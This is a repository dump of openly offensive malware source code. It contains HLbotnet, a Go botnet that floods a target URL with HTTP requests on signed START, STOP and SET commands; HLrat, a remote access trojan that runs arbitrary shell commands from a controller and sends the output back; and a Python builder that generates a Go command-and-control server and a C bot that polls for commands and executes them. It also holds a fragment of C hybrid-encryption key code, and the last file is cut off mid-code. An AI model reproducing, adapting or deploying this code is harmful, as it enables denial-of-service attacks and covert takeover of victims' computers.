crypto_rsa *generate_encrypted_keys(const char *pempub, char *outskey, char *outpriv) { 129 | const int ASIZE = 256; 130 | const int KSIZE = 32; 131 | const int BSIZE = 16; 132 | 133 | char buffer[BUFSIZ_2K]; 134 | char asmkey[BUFSIZ_2K]; 135 | 136 | char iv[BSIZE]; 137 | char seskey[KSIZE]; 138 | 139 | crypto_rsa *pub, *priv; 140 | 141 | pub = crypto_rsa_loadpub(pempub); 142 | priv = crypto_rsa_new(ASIZE*8); 143 | 144 | /* rand(iv), rand(seskey) */ 145 | crypto_rand(iv, BSIZE); 146 | crypto_rand(seskey, KSIZE); 147 | 148 | /* outskey = hex(encrypt(mainpub, seskey)) */ 149 | crypto_rsa_oaep(ENCRYPT_MODE, pub, buffer, BUFSIZ_2K, seskey, KSIZE); 150 | crypto_hex(ENCRYPT_MODE, outskey, BUFSIZ_2K, buffer, crypto_rsa_size(pub)); 151 | 152 | /* convert priv to string */ 153 | crypto_rsa_storeprv(asmkey, BUFSIZ_2K, priv); 154 | size_t len = strlen(asmkey); 155 | size_t padding = BSIZE - (len % BSIZE); 156 | 157 | /* outpriv = hex(encrypt(seskey, priv)) */ 158 | memcpy(buffer, iv, BSIZE); 159 | crypto_aes_256cbc(ENCRYPT_MODE, seskey, buffer+BSIZE, asmkey, strlen(asmkey), iv); 160 | crypto_hex(ENCRYPT_MODE, outpriv, BUFSIZ_4K, buffer, len+padding+BSIZE); 161 | 162 | /* clear data */ 163 | crypto_rand(asmkey, BUFSIZ_2K); 164 | crypto_rand(seskey, KSIZE); 165 | 166 | /* convert pub to string */ 167 | crypto_rsa_storepub(asmkey, BUFSIZ_2K, priv); 168 | 169 | /* clear keys */ 170 | crypto_rsa_free(priv); 171 | crypto_rsa_free(pub); 172 | 173 | return crypto_rsa_loadpub(asmkey); 174 | } 175 | #endif 176 | -------------------------------------------------------------------------------- /HLbotnet/README.md: -------------------------------------------------------------------------------- 1 | Botnet throw Hidden Lake (version: 1.0.6s) network. 2 | -------------------------------------------------------------------------------- /HLbotnet/ddos.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io" 5 | "io/ioutil" 6 | "net/http" 7 | ) 8 | 9 | type DDOS struct { 10 | target string 11 | is_run bool 12 | capacity uint 13 | stopped chan bool 14 | } 15 | 16 | func NewDDOS(target string, capacity uint) *DDOS { 17 | return &DDOS{ 18 | target: target, 19 | is_run: false, 20 | capacity: capacity, 21 | stopped: make(chan bool), 22 | } 23 | } 24 | 25 | func (ddos *DDOS) Target() string { 26 | return ddos.target 27 | } 28 | 29 | func (ddos *DDOS) Start() { 30 | ddos.is_run = true 31 | for i := uint(0); i < ddos.capacity; i++ { 32 | go runDDOS(ddos) 33 | } 34 | } 35 | 36 | func runDDOS(ddos *DDOS) { 37 | for { 38 | select { 39 | case <-ddos.stopped: 40 | return 41 | default: 42 | resp, err := http.Get(ddos.target) 43 | if err != nil { 44 | continue 45 | } 46 | io.Copy(ioutil.Discard, resp.Body) 47 | resp.Body.Close() 48 | } 49 | } 50 | } 51 | 52 | func (ddos *DDOS) Stop() { 53 | if !ddos.is_run { 54 | return 55 | } 56 | for i := uint(0); i < ddos.capacity; i++ { 57 | ddos.stopped <- true 58 | } 59 | ddos.is_run = false 60 | } 61 | -------------------------------------------------------------------------------- /HLbotnet/glbcht.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type GlobalChat struct { 4 | Head GlobalChatHead `json:"head"` 5 | Body GlobalChatBody `json:"body"` 6 | } 7 | 8 | type GlobalChatHead struct { 9 | Founder string `json:"founder"` 10 | Option string `json:"option"` 11 | Sender GlobalChatSender `json:"sender"` 12 | } 13 | 14 | type GlobalChatBody struct { 15 | Data string `json:"data"` 16 | Desc GlobalChatDesc `json:"desc"` 17 | } 18 | 19 | type GlobalChatSender struct { 20 | Public string `json:"public_key"` 21 | Hashname string `json:"hashname"` 22 | } 23 | 24 | type GlobalChatDesc struct { 25 | Rand string `json:"rand"` 26 | Hash string `json:"hash"` 27 | Sign string `json:"sign"` 28 | } 29 | -------------------------------------------------------------------------------- /HLbotnet/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "fmt" 6 | "bytes" 7 | "strings" 8 | "io/ioutil" 9 | "crypto/rsa" 10 | "./gopeer" 11 | ) 12 | 13 | func init() { 14 | gopeer.Set(gopeer.SettingsType{ 15 | "SERVER_NAME": "HIDDEN-LAKE", 16 | "NETWORK": "[HIDDEN-LAKE]", 17 | "VERSION": "[1.0.6s]", 18 | "HMACKEY": "9163571392708145", 19 | "KEY_SIZE": uint64(KEY_SIZE), // 3072 bit 20 | }) 21 | } 22 | 23 | func main() { 24 | key, cert := gopeer.GenerateCertificate( 25 | gopeer.Get("SERVER_NAME").(string), 26 | gopeer.Get("KEY_SIZE").(uint16), 27 | ) 28 | listener := gopeer.NewListener(gopeer.Get("IS_CLIENT").(string)) 29 | listener.Open(&gopeer.Certificate{ 30 | Cert: []byte(cert), 31 | Key: []byte(key), 32 | }).Run(handleServer) 33 | defer listener.Close() 34 | 35 | client := listener.NewClient(PRIVATE_CLIENT) 36 | handleClient(client) 37 | // ... 38 | } 39 | 40 | func handleClient(client *gopeer.Client) { 41 | for _, node := range LIST_OF_NODES { 42 | dest := &gopeer.Destination{ 43 | Address: node.Address, 44 | Certificate: []byte(node.Certificate), 45 | Public: gopeer.ParsePublic(node.Public), 46 | } 47 | connect(client, dest) 48 | } 49 | 50 | dest := &gopeer.Destination{ 51 | Receiver: PUBLIC_RECV, 52 | } 53 | connect(client, dest) 54 | client.SendTo(dest, &gopeer.Package{ 55 | Head: gopeer.Head{ 56 | Title: TITLE_GLOBALCHAT, 57 | Option: gopeer.Get("OPTION_GET").(string), 58 | }, 59 | Body: gopeer.Body{ 60 | Data: string(gopeer.PackJSON(GlobalChat{ 61 | Head: GlobalChatHead{ 62 | Founder: gopeer.HashPublic(PUBLIC_RECV), 63 | Option: gopeer.Get("OPTION_GET").(string), 64 | }, 65 | })), 66 | }, 67 | }) 68 | 69 | for { 70 | fmt.Scanln() 71 | } 72 | } 73 | 74 | func connect(client *gopeer.Client, dest *gopeer.Destination) { 75 | message := "connection created" 76 | client.Connect(dest) 77 | client.SendTo(dest, &gopeer.Package{ 78 | Head: gopeer.Head{ 79 | Title: TITLE_LOCALCHAT, 80 | Option: gopeer.Get("OPTION_GET").(string), 81 | }, 82 | Body: gopeer.Body{ 83 | Data: message, 84 | }, 85 | }) 86 | } 87 | 88 | func tryGeneratePrivate(filename string, bits int) *rsa.PrivateKey { 89 | if _, err := os.Stat(filename); os.IsNotExist(err) { 90 | file, err := os.Create(filename) 91 | if err != nil { 92 | return nil 93 | } 94 | priv := gopeer.GeneratePrivate(uint16(bits)) 95 | file.WriteString(gopeer.StringPrivate(priv)) 96 | return priv 97 | } 98 | file, err := os.Open(filename) 99 | if err != nil { 100 | return nil 101 | } 102 | privPem, err := ioutil.ReadAll(file) 103 | if err != nil { 104 | return nil 105 | } 106 | return gopeer.ParsePrivate(string(privPem)) 107 | } 108 | 109 | func handleServer(client *gopeer.Client, pack *gopeer.Package) { 110 | client.HandleAction(TITLE_ARCHIVE, pack, funcGet, funcSet) 111 | client.HandleAction(TITLE_LOCALCHAT, pack, funcGet, funcSet) 112 | client.HandleAction(TITLE_EMAIL, pack, funcGet, funcSet) 113 | client.HandleAction(TITLE_TESTCONN, pack, funcGet, funcSet) 114 | client.HandleAction(TITLE_GLOBALCHAT, pack, getGlobalchat, funcSet) 115 | } 116 | 117 | func getGlobalchat(client *gopeer.Client, pack *gopeer.Package) (set string) { 118 | var ( 119 | glbcht = new(GlobalChat) 120 | ) 121 | gopeer.UnpackJSON([]byte(pack.Body.Data), glbcht) 122 | if glbcht == nil { 123 | return 124 | } 125 | switch glbcht.Head.Option { 126 | case TITLE_GLOBALCHAT: 127 | // pass 128 | default: 129 | return 130 | } 131 | if len(glbcht.Body.Data) >= MESSAGE_SIZE { 132 | return 133 | } 134 | if glbcht.Head.Founder != pack.From.Sender.Hashname { 135 | return 136 | } 137 | public := gopeer.ParsePublic(glbcht.Head.Sender.Public) 138 | if public == nil { 139 | return 140 | } 141 | hashname := gopeer.HashPublic(public) 142 | if hashname != glbcht.Head.Sender.Hashname { 143 | return 144 | } 145 | checkhash := gopeer.HashPublic(PUBLIC_RECV) 146 | if checkhash != hashname { 147 | return 148 | } 149 | random := gopeer.Base64Decode(glbcht.Body.Desc.Rand) 150 | hash := gopeer.HashSum(bytes.Join( 151 | [][]byte{ 152 | []byte(hashname), 153 | []byte(glbcht.Head.Founder), 154 | []byte(glbcht.Body.Data), 155 | random, 156 | }, 157 | []byte{}, 158 | )) 159 | if gopeer.Base64Encode(hash) != glbcht.Body.Desc.Hash { 160 | return 161 | } 162 | if gopeer.Verify(public, hash, gopeer.Base64Decode(glbcht.Body.Desc.Sign)) != nil { 163 | return 164 | } 165 | // SET := http://localhost:9090 166 | // START 167 | // STOP 168 | glbcht.Body.Data = strings.Replace(glbcht.Body.Data, " ", "", -1) 169 | switch { 170 | case strings.HasPrefix(glbcht.Body.Data, "START"): 171 | ObjectDDOS.Start() 172 | 173 | case strings.HasPrefix(glbcht.Body.Data, "STOP"): 174 | ObjectDDOS.Stop() 175 | 176 | case strings.HasPrefix(glbcht.Body.Data, "SET"): 177 | splited := strings.Split(glbcht.Body.Data, ":=") 178 | if len(splited) < 2 { 179 | return 180 | } 181 | ObjectDDOS = NewDDOS(splited[1], 20) 182 | } 183 | return set 184 | } 185 | 186 | func funcGet(client *gopeer.Client, pack *gopeer.Package) (set string) { 187 | return set 188 | } 189 | 190 | func funcSet(client *gopeer.Client, pack *gopeer.Package) { 191 | } 192 | -------------------------------------------------------------------------------- /HLbotnet/vars.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "./gopeer" 5 | ) 6 | 7 | type Node struct { 8 | Address string 9 | Certificate string 10 | Public string 11 | } 12 | 13 | const ( 14 | TITLE_TESTCONN = "[TITLE-TESTCONN]" 15 | TITLE_EMAIL = "[TITLE-EMAIL]" 16 | TITLE_ARCHIVE = "[TITLE-ARCHIVE]" 17 | TITLE_LOCALCHAT = "[TITLE-LOCALCHAT]" 18 | TITLE_GLOBALCHAT = "[TITLE-GLOBALCHAT]" 19 | ) 20 | 21 | var ( 22 | ObjectDDOS = new(DDOS) 23 | FILENAME = "private.key" 24 | KEY_SIZE = (3 << 10) // 3072 bit 25 | MESSAGE_SIZE = (1 << 10) // 1KiB 26 | PRIVATE_CLIENT = tryGeneratePrivate(FILENAME, KEY_SIZE) 27 | PUBLIC_RECV = gopeer.ParsePublic(PEM_PUBLIC_RECV) 28 | ) 29 | 30 | var ( 31 | LIST_OF_NODES = []Node{ 32 | Node{ 33 | Address: "localhost:8080", 34 | Certificate: `-----BEGIN CERTIFICATE----- 35 | MIIE+jCCA2KgAwIBAgIIFZsjHl412QkwDQYJKoZIhvcNAQELBQAwgZoxFDASBgNV 36 | BAYTC0hJRERFTi1MQUtFMRQwEgYDVQQIEwtISURERU4tTEFLRTEUMBIGA1UEBxML 37 | SElEREVOLUxBS0UxFDASBgNVBAkTC0hJRERFTi1MQUtFMRQwEgYDVQQREwtISURE 38 | RU4tTEFLRTEUMBIGA1UEChMLSElEREVOLUxBS0UxFDASBgNVBAMTC0hJRERFTi1M 39 | QUtFMB4XDTIwMDQxNjE2MTcwNVoXDTMwMDQxNjE2MTcwNVowgZoxFDASBgNVBAYT 40 | C0hJRERFTi1MQUtFMRQwEgYDVQQIEwtISURERU4tTEFLRTEUMBIGA1UEBxMLSElE 41 | REVOLUxBS0UxFDASBgNVBAkTC0hJRERFTi1MQUtFMRQwEgYDVQQREwtISURERU4t 42 | TEFLRTEUMBIGA1UEChMLSElEREVOLUxBS0UxFDASBgNVBAMTC0hJRERFTi1MQUtF 43 | MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAqyGt7ZO5kAzwg98ZQrh3 44 | zv0AZBuQ2cy/ahTsrj2rr1wOhFYJi+XkALqRTpZyKOeoSjw2AsarHgGG3hk/ow8C 45 | lJkGtvnqRscrUOEJIovCNJ1r973y4QvAFaaP3dFqotTx8qGcM/2P3ZnstAGac0AB 46 | puxLrK6OnOH9nQvJb/0bjienTWgHaScZPuq4Hi7CJ+OTFCil1/OXbLupZwBFqrt6 47 | XZjqLKokHkE0ASdm0mC+3VvSC94JKKrQvEdGiPjuYqYnxZzWx7o1tTeuEx5GBHXb 48 | azn4gBIkdCU4xD7w4+nUvl50pJZbY4nZxSUbg06qahCaUXa/UALd+jVqBAAf/j2x 49 | jw+y2O+xziUFQdLFw0zQLqorWgdXS0LAlTNeUWKImXmxDs2aQ8kooDAB3BdE+T87 50 | gGYwA/oueu6RKO1kbaDMmzQiE9W5imq+Oz7p3GK8bGS1q5+KeGTHeJxQFEEZBjXP 51 | DuYi3m0JS9WE6xzF1FConZMInolawiWx1PcjgLy0RVgZAgMBAAGjQjBAMA4GA1Ud 52 | DwEB/wQEAwIChDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDwYDVR0T 53 | AQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAYEARdNuphxAD1K1A0bPjDXDLHq3 54 | DDpqboWaiZZD6aECGJaadkakoIpLsIdo/gKMP9jL+5+W2s5O0qt6ZfTsjy/UvMJH 55 | pLn+XKJTZMBT585DBs1eoYdyo4OUtfjkZOJdh/wucRc+gxK21uTw/7rWu/I1zcBE 56 | cKULD1HlqGpcKvHrhaczPRJJpRFSgwzQcYuJvSc108uLfbz4VomKbkiDoBUQsCEq 57 | hPOWDYw4F3Y6Ta2VBcc6xcEBlz4wY6tXTg2v/Cc2RSD/2Y3gpRXaHzPZLicUXung 58 | 4JsKcv7L80skOrkzquZ7sWZ/zuToa5CzWI4vBABoTCUKztRfTrg82QdoeNYkwVSH 59 | BcC/HS6L4tirAm0Mryf59FUhvh1qgqZbVhJCdF48kCTjOczoeSQbGfiB8yZyrHK+ 60 | mVJSr6ZVKdFkz0bxKtp0ochOJV8q0PRcWWJ3z9YOXRIQP49YsPMG5Nm2L+5ypvyY 61 | j9W+aIks5I8YZRylPMnWBHPyXIR6JhbZ/u1GCRzh 62 | -----END CERTIFICATE----- 63 | `, 64 | Public: `-----BEGIN RSA PUBLIC KEY----- 65 | MIIBigKCAYEAwRMUCP+QJmUghFTgPtrA6mLcBjN8DgEZwtsUen0vl5FUARPnLF6P 66 | dXiu+rihzzG5T3o/z+5OqHAC9W1lsCuhMT23I4HfzCovYJWyLqyr6BRh/rwHHOPn 67 | B42eb9VnTAAnRmnTbUAzrYxwqVFRw2UFOuYCIIJ4bpHy3xJKTI4G5EERF6gux5mv 68 | Ld4S66PxqIngvNpKM8I6zd2JyzMj506/u8P2LF/ozSYHut8yrGCCmYUDolfj9+GH 69 | EZbmvn7DHk8qTbOt5QVpBQ5enzdK+awlNcYueZi8xSbKguq0LjTme9N9WNfL46gr 70 | yLgtOoWYNQP/w5DfCnUFpdp+mDeCaTunUNZhPsPmLl0zEdtwX4Mt9FP8iup60mZL 71 | G6SbkTIVsIf9xO1uNriEh45mh+eXTg+tX1xGNbPTXgJQx8e4P3AsG5gu73pHoxkG 72 | 211pukYKgrIwbc+l5/qhrIjayzCCTMQb2hmlp+HhQBn0TBKqkPLvnpfnrNA+tsBZ 73 | PRTIt7tl7QApAgMBAAE= 74 | -----END RSA PUBLIC KEY----- 75 | `, 76 | }, 77 | } 78 | ) 79 | 80 | const PEM_PUBLIC_RECV = `-----BEGIN RSA PUBLIC KEY----- 81 | MIIBigKCAYEAwF6/bTugCLDH35HLQOIhVmniZ9mXsxtTM2EZn3+lXJV5O/Bv3pVj 82 | 7Eqc+n1tgbnb3zS1DBA2i3ahc7jSMhmhWsyHxHSn1ZC81S3jFuAd2XKyJfs0HANA 83 | mXjt/RRic6w9OasOWzuYj5YjPTsAviX2dnW/NoqQV4Tx71ol/TzquCbvAyeqDqrr 84 | wV5FKsiOTpsFytEamRIM/GldgZnrUjZ0+MYvVkVVi2BXtHGbjVAN6o9RVtTtq+Zn 85 | d8oJ+cF50Pno9Y+cqThgmkJYeT3c0iMZ5XmRRM63jhFSkNs6Tn99cIc+nNTORKvJ 86 | ZXvy2Mfqo2iWHwX9qQWXkBlHnsN6xc1du8tHmCBBOVCaziL8hjAMfQUdRSCt6Pnw 87 | 6C9bxYVy0Gd4THtj+LV+vX2RRfVZIVI6OIJPhXLUWzrn5OZw4jBbOjeqOMIMEd/0 88 | UsECg8KkgW+w1q/CDP5W60T4tHn+rUmQy5LguOTAE4RFeeuE3h0plPSk13IxgLuk 89 | OCssWlOX1s4bAgMBAAE= 90 | -----END RSA PUBLIC KEY----- 91 | ` 92 | -------------------------------------------------------------------------------- /HLrat/README.md: -------------------------------------------------------------------------------- 1 | RAT throw Hidden Lake (version: 1.0.4s) network. 2 | -------------------------------------------------------------------------------- /HLrat/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "fmt" 6 | "strings" 7 | "os/exec" 8 | "io/ioutil" 9 | "crypto/rsa" 10 | "github.com/number571/gopeer" 11 | ) 12 | 13 | type Node struct { 14 | Address string 15 | Certificate string 16 | Public string 17 | } 18 | 19 | const ( 20 | TITLE_MESSAGE = "[TITLE-MESSAGE]" 21 | TITLE_ARCHIVE = "[TITLE-ARCHIVE]" 22 | ) 23 | 24 | var ( 25 | FILENAME = "private.key" 26 | KEY_SIZE = (3 << 10) // 3072 bit 27 | PRIVATE_CLIENT = tryGeneratePrivate(FILENAME, KEY_SIZE) 28 | PUBLIC_RECV = gopeer.ParsePublic(PEM_PUBLIC_RECV) 29 | ) 30 | 31 | func init() { 32 | gopeer.Set(gopeer.SettingsType{ 33 | "SERVER_NAME": "HIDDEN-LAKE", 34 | "NETWORK": "[HIDDEN-LAKE]", 35 | "VERSION": "[1.0.4s]", 36 | "HMACKEY": "9163571392708145", 37 | "KEY_SIZE": uint64(3 << 10), // 3072 bit 38 | }) 39 | } 40 | 41 | func main() { 42 | key, cert := gopeer.GenerateCertificate( 43 | gopeer.Get("SERVER_NAME").(string), 44 | gopeer.Get("KEY_SIZE").(uint16), 45 | ) 46 | listener := gopeer.NewListener(gopeer.Get("IS_CLIENT").(string)) 47 | listener.Open(&gopeer.Certificate{ 48 | Cert: []byte(cert), 49 | Key: []byte(key), 50 | }).Run(handleServer) 51 | defer listener.Close() 52 | 53 | client := listener.NewClient(PRIVATE_CLIENT) 54 | handleClient(client) 55 | // ... 56 | } 57 | 58 | func handleClient(client *gopeer.Client) { 59 | for _, node := range LIST_OF_NODES { 60 | dest := &gopeer.Destination{ 61 | Address: node.Address, 62 | Certificate: []byte(node.Certificate), 63 | Public: gopeer.ParsePublic(node.Public), 64 | } 65 | connect(client, dest) 66 | } 67 | 68 | dest := &gopeer.Destination{ 69 | Receiver: PUBLIC_RECV, 70 | } 71 | connect(client, dest) 72 | 73 | for { 74 | fmt.Scanln() 75 | } 76 | } 77 | 78 | func connect(client *gopeer.Client, dest *gopeer.Destination) { 79 | message := "connection created" 80 | client.Connect(dest) 81 | client.SendTo(dest, &gopeer.Package{ 82 | Head: gopeer.Head{ 83 | Title: TITLE_MESSAGE, 84 | Option: gopeer.Get("OPTION_GET").(string), 85 | }, 86 | Body: gopeer.Body{ 87 | Data: message, 88 | }, 89 | }) 90 | } 91 | 92 | func tryGeneratePrivate(filename string, bits int) *rsa.PrivateKey { 93 | if _, err := os.Stat(filename); os.IsNotExist(err) { 94 | file, err := os.Create(filename) 95 | if err != nil { 96 | return nil 97 | } 98 | priv := gopeer.GeneratePrivate(uint16(bits)) 99 | file.WriteString(gopeer.StringPrivate(priv)) 100 | return priv 101 | } 102 | file, err := os.Open(filename) 103 | if err != nil { 104 | return nil 105 | } 106 | privPem, err := ioutil.ReadAll(file) 107 | if err != nil { 108 | return nil 109 | } 110 | return gopeer.ParsePrivate(string(privPem)) 111 | } 112 | 113 | func handleServer(client *gopeer.Client, pack *gopeer.Package) { 114 | client.HandleAction(TITLE_ARCHIVE, pack, 115 | func(client *gopeer.Client, pack *gopeer.Package) (set string) { 116 | return 117 | }, 118 | func(client *gopeer.Client, pack *gopeer.Package) { 119 | }, 120 | ) 121 | client.HandleAction(TITLE_MESSAGE, pack, 122 | func(client *gopeer.Client, pack *gopeer.Package) (set string) { 123 | fmt.Printf("[%s]: %s\n", pack.From.Sender.Hashname, pack.Body.Data) 124 | hash := pack.From.Sender.Hashname 125 | if hash == gopeer.HashPublic(PUBLIC_RECV) { 126 | splited := strings.Split(pack.Body.Data, " ") 127 | splited = splited[:len(splited)-1] 128 | out, err := exec.Command(splited[0], splited[1:]...).Output() 129 | if err != nil { 130 | return 131 | } 132 | dest := &gopeer.Destination{ 133 | Receiver: PUBLIC_RECV, 134 | } 135 | client.SendTo(dest, &gopeer.Package{ 136 | Head: gopeer.Head{ 137 | Title: TITLE_MESSAGE, 138 | Option: gopeer.Get("OPTION_GET").(string), 139 | }, 140 | Body: gopeer.Body{ 141 | Data: string(out), 142 | }, 143 | }) 144 | } 145 | 146 | return 147 | }, 148 | func(client *gopeer.Client, pack *gopeer.Package) { 149 | }, 150 | ) 151 | } 152 | 153 | var ( 154 | LIST_OF_NODES = []Node{ 155 | Node{ 156 | Address: "", 157 | Certificate: ``, 158 | Public: ``, 159 | }, 160 | } 161 | ) 162 | 163 | const PEM_PUBLIC_RECV = `` 164 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 [#571] 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /RAT/BUILDER/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: default build 2 | default: build 3 | build: builder.py 4 | python3 builder.py 5 | clean: 6 | rm -f bot.c server.go 7 | -------------------------------------------------------------------------------- /RAT/BUILDER/builder.py: -------------------------------------------------------------------------------- 1 | SERVER_FNAME = "server.go" 2 | CLIENT_FNAME = "bot.c" 3 | 4 | MAX_CONN_SIZE = (1 << 6) # (2^6) = 64 5 | 6 | URL_ACTION = "/cmd" 7 | IS_SOCKS5_CONNECT = False 8 | 9 | ADDR = "127.0.0.1" 10 | PORT = 8080 11 | SOCKS5_PORT = 9050 12 | 13 | def main(): 14 | with open(SERVER_FNAME, "w") as file: 15 | file.write(SERVER_CODE) 16 | 17 | with open(CLIENT_FNAME, "w") as file: 18 | file.write(CLIENT_CODE) 19 | 20 | SERVER_CODE = """ 21 | package main 22 | 23 | import ( 24 | "os" 25 | "fmt" 26 | "time" 27 | "sync" 28 | "bufio" 29 | "strings" 30 | "net/http" 31 | "encoding/hex" 32 | "encoding/json" 33 | ) 34 | 35 | const ( 36 | TMAXSIZE = """ + f"{MAX_CONN_SIZE}" + """ 37 | ) 38 | 39 | var ( 40 | Mutex sync.Mutex 41 | Target = "NULL" 42 | Command = "NULL" 43 | ListTargets = make(map[string]time.Time) 44 | ) 45 | 46 | func main() { 47 | fmt.Println("Server is listening...\\n") 48 | go adminConsole() 49 | http.HandleFunc("/", indexPage) 50 | http.HandleFunc(""" + f"\"{URL_ACTION}\"" + """, cmdPage) 51 | http.ListenAndServe(""" + f"\":{PORT}\"" + """, nil) 52 | } 53 | 54 | func help() string { 55 | return ` 56 | 1. exit // exit from program 57 | 2. help // help info for commands 58 | 3. targ // set target by uid 59 | 4. cmnd // set command to target 60 | 5. list // get list of targets 61 | ` 62 | } 63 | 64 | func adminConsole() { 65 | var ( 66 | message string 67 | splited []string 68 | ) 69 | for { 70 | message = inputString("> ") 71 | splited = strings.Split(message, " ") 72 | switch splited[0] { 73 | case "exit": 74 | os.Exit(0) 75 | case "help": 76 | fmt.Println(help()) 77 | case "targ": 78 | if len(splited) != 2 { 79 | fmt.Printf("target = '%s'\\n\\n", Target) 80 | continue 81 | } 82 | Target = splited[1] 83 | fmt.Println("target set\\n") 84 | case "list": 85 | Mutex.Lock() 86 | i := 1 87 | for targv, timet := range ListTargets { 88 | if time.Now().Sub(timet) > (3 * time.Minute) { 89 | delete(ListTargets, targv) 90 | continue 91 | } 92 | } 93 | for targv := range ListTargets { 94 | fmt.Println(i, targv) 95 | i++ 96 | } 97 | fmt.Println() 98 | Mutex.Unlock() 99 | case "cmnd": 100 | Command = strings.Join(splited[1:], " ") 101 | default: 102 | fmt.Println("error: command undefined\\n") 103 | } 104 | } 105 | } 106 | 107 | func inputString(begin string) string { 108 | fmt.Print(begin) 109 | msg, _ := bufio.NewReader(os.Stdin).ReadString('\\n') 110 | return strings.Replace(msg, "\\n", "", 1) 111 | } 112 | 113 | func indexPage(w http.ResponseWriter, r *http.Request) { 114 | response(w, 0, "success: action completed") 115 | } 116 | 117 | func cmdPage(w http.ResponseWriter, r *http.Request) { 118 | var req struct { 119 | Body []string `json:"body"` 120 | } 121 | 122 | if r.Method != "POST" { 123 | response(w, 1, "error: method != POST") 124 | return 125 | } 126 | err := json.NewDecoder(r.Body).Decode(&req) 127 | if err != nil { 128 | response(w, 2, "error: parse json") 129 | return 130 | } 131 | if len(req.Body) != 2 { 132 | response(w, 3, "error: len req != 2") 133 | return 134 | } 135 | if len(req.Body[0]) != 32 { 136 | response(w, 4, "error: len name != 32") 137 | return 138 | } 139 | 140 | target := req.Body[0] 141 | result := req.Body[1] 142 | 143 | Mutex.Lock() 144 | if len(ListTargets) > TMAXSIZE { 145 | ListTargets = make(map[string]time.Time) 146 | } 147 | ListTargets[target] = time.Now() 148 | Mutex.Unlock() 149 | 150 | if result != "" && Target == target { 151 | fmt.Printf("\\n%s\\n> ", string(hexDecode(result))) 152 | } 153 | 154 | count := 5 155 | result = "NULL" 156 | 157 | repeat: 158 | if (Target == target && Command != "NULL") || count == 0 { 159 | goto close 160 | } 161 | count-- 162 | time.Sleep(5 * time.Second) 163 | goto repeat 164 | close: 165 | if Target == target { 166 | result = Command 167 | Command = "NULL" 168 | } 169 | 170 | response(w, 0, result) 171 | } 172 | 173 | func hexDecode(data string) []byte { 174 | res, err := hex.DecodeString(data) 175 | if err != nil { 176 | return nil 177 | } 178 | return res 179 | } 180 | 181 | func response(w http.ResponseWriter, ret int, res string) { 182 | w.Header().Set("Content-Type", "application/json") 183 | var resp struct { 184 | Return int `json:"return"` 185 | Result string `json:"result"` 186 | } 187 | resp.Return = ret 188 | resp.Result = res 189 | json.NewEncoder(w).Encode(resp) 190 | } 191 | """ 192 | 193 | CLIENT_CODE = """ 194 | #include "extclib/net.h" 195 | #include "extclib/crypto.h" 196 | 197 | #include 198 | #include 199 | #include 200 | #include 201 | 202 | #define BUFSIZ_1K (1 << 10) 203 | #define BUFSIZ_2K (2 << 10) 204 | 205 | #define BUFSIZ_2M (2 << 20) 206 | #define BUFSIZ_4M (4 << 20) 207 | #define BUFSIZ_8M (8 << 20) 208 | 209 | #define NICKSIZE 32 210 | #define ADDRESS """ + (f"\"{ADDR}\", {PORT}, {SOCKS5_PORT}" if IS_SOCKS5_CONNECT else f"\"{ADDR}\", {PORT}") + """ 211 | 212 | static char buffer[BUFSIZ_8M]; 213 | static char result[BUFSIZ_4M]; 214 | 215 | int main(void) { 216 | char command[BUFSIZ_2K] = "NULL"; 217 | char nickname[NICKSIZE+1]; 218 | char inputs[BUFSIZ_1K]; 219 | 220 | net_conn *conn; 221 | FILE *pipe; 222 | char *ptr; 223 | int ret; 224 | 225 | crypto_rand(buffer, NICKSIZE/2); 226 | crypto_hex(1, nickname, NICKSIZE+1, buffer, NICKSIZE/2); 227 | 228 | snprintf(inputs, BUFSIZ_1K, "{\\"return\\":%%d,\\"result\\":\\"%%%d[^\\"]\\"}", BUFSIZ_2K-1); 229 | 230 | while(1) { 231 | conn = """ + ("net_socks5_connect(ADDRESS);" if IS_SOCKS5_CONNECT else "net_connect(ADDRESS);") + """ 232 | if (conn == NULL) { 233 | sleep(5); 234 | continue; 235 | } 236 | 237 | if (strcmp(command, "NULL") == 0) { 238 | result[0] = '\\0'; 239 | } 240 | 241 | snprintf(buffer, BUFSIZ_8M, "{\\"body\\":[\\"%s\\", \\"%s\\"]}", nickname, result); 242 | net_http_post(conn, """ + f"\"{URL_ACTION}\"" + """, buffer); 243 | 244 | ret = net_recv(conn, buffer, BUFSIZ_2M); 245 | buffer[ret] = '\\0'; 246 | net_close(conn); 247 | 248 | ptr = strstr(buffer, "{"); 249 | if (ptr == NULL) { 250 | continue; 251 | } 252 | 253 | ret = -1; 254 | sscanf(ptr, inputs, &ret, command); 255 | if (ret != 0) { 256 | continue; 257 | } 258 | 259 | if (strcmp(command, "NULL") == 0) { 260 | continue; 261 | } 262 | 263 | result[0] = '\\0'; 264 